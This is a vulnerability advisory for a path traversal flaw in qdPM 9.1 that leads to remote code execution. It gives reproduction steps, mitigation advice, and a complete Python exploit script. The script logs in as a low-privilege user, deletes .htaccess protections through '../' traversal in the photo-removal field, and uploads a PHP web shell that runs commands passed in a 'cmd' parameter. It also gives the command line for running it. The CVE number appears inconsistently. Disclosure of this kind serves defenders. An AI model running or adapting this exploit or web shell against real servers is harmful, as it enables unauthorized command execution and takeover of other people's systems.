CVE-2020-7246:Path Traversal in qdPM 9.1

Path Traversal in qdPM 9.1

Loginsoft-2020-1009
28 July, 2020

CVE Number

CVE-2020-72465

Vulnerability Description

Path traversal or Directory traversal is a security vulnerability that occurs when software uses attacker-controlled input to construct a pathname to a directory or file located outside of the restricted directory. An attacker might be able to read arbitrary files on the target system when the application fails to neutralize sequences such as ” ../ ” that can resolve to a location that is outside of that directory.

CWE Number

CWE-35

Base Score:

8.8

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Steps to reproduce:
  • Login as normal user & visit http://localhost/qpdm/index.php/myAccount
  • Check the “Remove photo” checkbox and save to intercept the request
  • Intercept the request on submitting the form (`save`) by selecting the checkbox ‘Remove Photo’
  • Modify the request parameter `users[‘photp_preview’]` to `../.htaccess` and forward the request.
Exploitation:

Path traversal to Remote code execution

An attacker (user with least privilege) can abuse the remove profile photo functionality to traverse through other directories & delete the files on the server.

In the attack scenario, we were able to delete “.htaccess” file in the uploads & user directory, bypassing the protection applied against running dangerous file types (php, html, exe). Leveraging this, we have uploaded a php backdoor, gaining ability to execute commands on the server.

import requests
from lxml import html
from argparse import ArgumentParser

session_requests = requests.session()

def multifrm(
    userid,
    username,
    csrftoken_,
    EMAIL,
    HOSTNAME,
    uservar,
    ):
    request_1 = {
        'sf_method': (None, 'put'),
        'users[id]': (None, userid[-1]),
        'users[photo_preview]': (None, uservar),
        'users[_csrf_token]': (None, csrftoken_[-1]),
        'users[name]': (None, username[-1]),
        'users[new_password]': (None, ''),
        'users[email]': (None, EMAIL),
        'extra_fields[9]': (None, ''),
        'users[remove_photo]': (None, '1'),
        }
    return request_1


def req(
    userid,
    username,
    csrftoken_,
    EMAIL,
    HOSTNAME,
    ):
    request_1 = multifrm(
        userid,
        username,
        csrftoken_,
        EMAIL,
        HOSTNAME,
        '.htaccess',
        )
    new = session_requests.post(HOSTNAME + 'index.php/myAccount/update'
                                , files=request_1)
    request_2 = multifrm(
        userid,
        username,
        csrftoken_,
        EMAIL,
        HOSTNAME,
        '../.htaccess',
        )
    new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update'
                                 , files=request_2)
    request_3 = {
        'sf_method': (None, 'put'),
        'users[id]': (None, userid[-1]),
        'users[photo_preview]': (None, ''),
        'users[_csrf_token]': (None, csrftoken_[-1]),
        'users[name]': (None, username[-1]),
        'users[new_password]': (None, ''),
        'users[email]': (None, EMAIL),
        'extra_fields[9]': (None, ''),
        'users[photo]': ('backdoor.php',
                         '<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>'
                         , 'application/octet-stream'),
        }
    upload_req = session_requests.post(HOSTNAME
            + 'index.php/myAccount/update', files=request_3)


def main(HOSTNAME, EMAIL, PASSWORD):
    result = session_requests.get(HOSTNAME + '/index.php/login')
    login_tree = html.fromstring(result.text)
    authenticity_token = \
        list(set(login_tree.xpath("//input[@name='login[_csrf_token]']/@value"
             )))[0]
    payload = {'login[email]': EMAIL, 'login[password]': PASSWORD,
               'login[_csrf_token]': authenticity_token}
    result = session_requests.post(HOSTNAME + '/index.php/login',
                                   data=payload,
                                   headers=dict(referer=HOSTNAME
                                   + '/index.php/login'))
    account_page = session_requests.get(HOSTNAME + 'index.php/myAccount'
            )
    account_tree = html.fromstring(account_page.content)
    userid = account_tree.xpath("//input[@name='users[id]']/@value")
    username = account_tree.xpath("//input[@name='users[name]']/@value")
    csrftoken_ = \
        account_tree.xpath("//input[@name='users[_csrf_token]']/@value")
    req(userid, username, csrftoken_, EMAIL, HOSTNAME)
    get_file = session_requests.get(HOSTNAME + 'index.php/myAccount')
    final_tree = html.fromstring(get_file.content)
    backdoor = \
        final_tree.xpath("//input[@name='users[photo_preview]']/@value")
    print 'Backdoor uploaded at - > ' + HOSTNAME + '/uploads/users/' \
        + backdoor[-1] + '?cmd=whoami'


if __name__ == '__main__':
    parser = \
        ArgumentParser(description='qdmp - Path traversal + RCE Exploit'
                       )
    parser.add_argument('-url', '--host', dest='hostname',
                        help='Project URL')
    parser.add_argument('-u', '--email', dest='email',
                        help='User email (Any privilege account)')
    parser.add_argument('-p', '--password', dest='password',
                        help='User password')
    args = parser.parse_args()

    main(args.hostname, args.email, args.password)
            

We have an exploit written to gain Remote Web-shell. In order to run the exploit

Command:
`python $POC -url http://IPADDRESS -u test1@localhost.com -p test1` `qdPM-exploit.py` will be posted on exploit-db
Mitigation:

To protect the application from this weakness it is advised to follow these instructions:

  • Normalizing user-supplied input against such attacks like Path/Directory Traversal
  • Since having an `.htaccess` file is an improper fix, whitelisting technique should be implemented for the file extensions which are to be uploaded

Vendor Disclosure:

Credit

Discovered by ACE Team – Loginsoft